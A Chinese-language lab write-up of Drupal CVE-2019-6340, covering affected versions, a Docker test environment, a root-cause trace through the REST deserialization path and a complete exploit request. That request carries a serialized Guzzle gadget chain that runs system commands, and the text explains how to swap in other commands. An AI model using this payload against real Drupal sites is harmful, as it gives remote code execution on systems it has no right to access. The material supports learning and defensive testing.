目录
0X1 漏洞概述
Drupal官方之前更新了一个非常关键的安全补丁,修复了因为接受的反序列化数据过滤不够严格,在开启REST的Web服务拓展模块的情况下,可能导致PHP代码执行的严重安全。
根据官方公告和自身实践,8.6.x或(<8.6.10)两种情况可能导致问题出现:
漏洞影响版本:
Drupal < 8.6.10Drupal < 8.5.12
0X2 环境搭建
使用search命令进行查找:
docker search CVE-2019-6340
然后拉取第一个镜像,使用pull命令
docker pull knqyf263/cve-2019-6340
最后等到拉取完成
然后启动镜像,运行环境
docker run -d -p 80:80 --name Drupal8 knqyf263/cve-2019-6340
访问网站首页
0X3 漏洞利用
访问漏洞环境并用burp抓包,将数据包改为如下payload,并发送。
POST /node/?_format=hal_json HTTP/1.1
Host: <漏洞环境的IP:PORT>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Connection: keep-alive
Content-Type: application/hal+json
Accept: */*
Cache-Control: no-cache
Content-Length: 636
{
"link": [
{
"value": "link","options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
}
],"_links": {
"type": {
"href": "<漏洞环境的IP:PORT>/rest/type/shortcut/default"
}
}
}
request和response详细信息。其中红色方框内的“id”区域为所执行的命令,数字2则是命令的长度。如果想要执行 echo 1,则前面的数字需要改成 6
0X4 漏洞分析
官方公告中(现已修正)一开始仅仅说开启POST/PATCH两种请求方式才会收到攻击,其实并不区分类型,上图就是GET请求的攻击,因为程序在进入在对请求进行deserialize的时候,是还是通过PHP://input进行获取请求内容。
跟进$request->getContent
获得请求内容后,使用$this->serializer->decode对请求内容进行解码并赋值$unserialized。
然后传入$this->serializer->denormalize函数,Drupal 8的Serialization API是主要基于Symfony Serializer组件,具体可参加文档。
一路跟进直到getTypeInternalIds函数,检查url是否是网站已知的类型。
继续跟进,将结果变量$typed_data_ids['entity_type']传入getEntityTypeDeFinition函数,取实体的定义类型。
继续跟进,此时$context['target_instance']中包含Drupal\Core\Field\FieldItemList的实例。
继续跟进,经过$items->appendItem()后,$context['target_instance']被重新赋值,此时包含Drupal\link\Plugin\Field\FieldType\LinkItem的实例。
继续跟进,将$context['target_instance']中的实例赋值给$field_item,然后调用$field_item->setValue方法,并传入了$data。
data的值如下:
继续跟进setValue函数,这里的$values['options']可控,找到反序列化漏洞的触发点。
利用Drupal自带的Guzzle库,FnStream类的析构函数中包含call_user_func,进行利用链的构造。